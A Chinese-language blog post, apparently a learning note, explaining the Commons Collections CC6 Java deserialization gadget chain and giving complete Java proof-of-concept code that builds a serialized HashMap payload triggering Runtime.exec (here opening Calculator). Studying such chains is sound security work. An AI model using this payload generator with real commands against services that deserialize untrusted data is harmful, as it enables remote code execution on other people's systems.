Java反序列化CC6
本文最后更新于 4 天前,其中的信息可能已经有所发展或是发生改变。

CC6链

和CC1链子相比,CC1链子是利用了LazyMap,而CC6总结下来其实就是URLDNS+CC1一半

出现了个问题,我在清理磁盘空间时,不小心把部分截图噶了,mac没带实验室来,晚上回去补上o(╥﹏╥)o

环境配置

jdk 8u71

CommonsCollectiion >3.2.1

简单利用链

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

*/

看到get方法

public Object get(Object key) {
      // create value for key if key is not currently in the map
      if (map.containsKey(key) == false) {
          Object value = factory.transform(key);
          map.put(key, value);
          return value;
      }
      return map.get(key);
  }

然后在LazyMap类中找的了这个,会返回一个LazyMap对象,同时我们对Map和factory都是可控的

    public static Map decorate(Map map, Transformer factory) {
      return new LazyMap(map, factory);
  }

最先还是利用LazyMap的get方法去触发transform(),先写个poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Tiedpoc {
  public static void main(String[] args) throws Exception {
      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod",
                      new Class[] { String.class, Class[].class },
                      new Object[] { "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke",
                      new Class[] { Object.class, Object[].class },
                      new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec",
                      new Class[] { String[].class },
                      new Object[]{new String[]{"open", "-a", "Calculator"}}),
              new ConstantTransformer(1)
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object,Object> map = new HashMap<>();
      //map.put("1","1");
      Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
      lazyMap.get("1");

  }
}

链子的后面我们发现和CC1链是一样的,关键在于org.apache.commons.collections.map.LazyMap.get()

与原来低版本我们通过动态代理去出发invoke不同,高版本下,我们通过org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()去触发get

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
  private static final long serialVersionUID = -8453869361373831205L;
  private final Map map;
  private final Object key;

  public TiedMapEntry(Map map, Object key) {
      this.map = map;
      this.key = key;
  }

  public Object getKey() {
      return this.key;
  }

  public Object getValue() {
      return this.map.get(this.key);
  }

我们可以看到它也是拥有serializeable接口的

可以看到TiedMapEntry方法,我们对其mapkey是可控的,同时此处的getValue()也直接调用了get方法并且参数为key

我们接着跟进,看哪里调用了getValue(),可以看到此类的hashcode()调用了此方法

public int hashCode() {
      Object value = this.getValue();
      return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
  }

那么问题来到了如何去触发TiedMapEntry#hashcode(),从P牛那里看到了简单的利用,在 java.util.HashMap#readObject中就可以找到HashMap#hash()的调⽤

HashMapreadObject⽅法中,调⽤到了 hash(key),⽽hash⽅法中,调⽤到了

key.hashCode()所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过

程,构成⼀个完整的Gadget

HashMap.java

  static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  }

然后key是在HashMap类的readObject方法来的

private void readObject(java.io.ObjectInputStream s)
      throws IOException, ClassNotFoundException {
      // Read in the threshold (ignored), loadfactor, and any hidden stuff
      s.defaultReadObject();
      reinitialize();
      if (loadFactor <= 0 || Float.isNaN(loadFactor))
          throw new InvalidObjectException("Illegal load factor: " +
                                            loadFactor);
      s.readInt();               // Read and ignore number of buckets
      int mappings = s.readInt(); // Read number of mappings (size)
      if (mappings < 0)
          throw new InvalidObjectException("Illegal mappings count: " +
                                            mappings);
      else if (mappings > 0) { // (if zero, use defaults)
          // Size the table using given load factor only if within
          // range of 0.25...4.0
          float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
          float fc = (float)mappings / lf + 1.0f;
          int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                      DEFAULT_INITIAL_CAPACITY :
                      (fc >= MAXIMUM_CAPACITY) ?
                      MAXIMUM_CAPACITY :
                      tableSizeFor((int)fc));
          float ft = (float)cap * lf;
          threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                        (int)ft : Integer.MAX_VALUE);
          @SuppressWarnings({"rawtypes","unchecked"})
              Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
          table = tab;

          // Read the keys and values, and put the mappings in the HashMap
          for (int i = 0; i < mappings; i++) {
              @SuppressWarnings("unchecked")
                  K key = (K) s.readObject();
              @SuppressWarnings("unchecked")
                  V value = (V) s.readObject();
              putVal(hash(key), key, value, false, false);
          }
      }
  }

在序列化可以用HashMap的put方法传key和value

但是有个问题是,HashMap的put方法会提前调用hash方法,导致会提前走流程

public V put(K key, V value) {
      return putVal(hash(key), key, value, false, true);
  }

为了避免过程本地调试中就命令执行了,先利用一个fakeTransforms,然后等到我们设置好了key一步之后,等到最后生成payload的时候再利用反射设置回来就可以了

所以修改利用链为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc1_ceshi {
  public static void main(String[] args) throws Exception {
      Transformer[] fakeTransformers = new Transformer[]{new
              ConstantTransformer(1)};
      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod",
                      new Class[] { String.class, Class[].class },
                      new Object[] { "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke",
                      new Class[] { Object.class, Object[].class },
                      new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec",
                      new Class[] { String[].class },
                      new Object[]{new String[]{"open", "-a", "Calculator"}}),
              new ConstantTransformer(1)
      };
      Transformer transformerChain = new ChainedTransformer(fakeTransformers);

       
      Map innerMap = new HashMap();
      Map outerMap = LazyMap.decorate(innerMap, transformerChain);
      TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
      Map expMap = new HashMap();
      expMap.put(tme, "valuevalue");
       
       
      Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
      f.setAccessible(true);
      f.set(transformerChain, transformers);

      // 生成序列化字符串
      ByteArrayOutputStream barr = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(barr);
      oos.writeObject(expMap);
      oos.close();

      System.out.println(barr);
      ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
      Object o = (Object) ois.readObject();
  }
}

但是并没有执行命令,可以看到这里的map.containsKey(key)是true

解决方法很好办,直接给他删掉就可以

所以我们最终的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc1_ceshi {
  public static void main(String[] args) throws Exception {
      Transformer[] fakeTransformers = new Transformer[]{new
              ConstantTransformer(1)};
      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod",
                      new Class[] { String.class, Class[].class },
                      new Object[] { "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke",
                      new Class[] { Object.class, Object[].class },
                      new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec",
                      new Class[] { String[].class },
                      new Object[]{new String[]{"open", "-a", "Calculator"}}),
              new ConstantTransformer(1)
      };
      Transformer transformerChain = new ChainedTransformer(fakeTransformers);


      Map innerMap = new HashMap();
      Map outerMap = LazyMap.decorate(innerMap, transformerChain);
      TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
      Map expMap = new HashMap();
      expMap.put(tme, "valuevalue");

      outerMap.remove("keykey");

      Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
      f.setAccessible(true);
      f.set(transformerChain, transformers);

      serialize(expMap);
      unserialize("ser.bin");

  }

  public static void serialize(Object obj) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇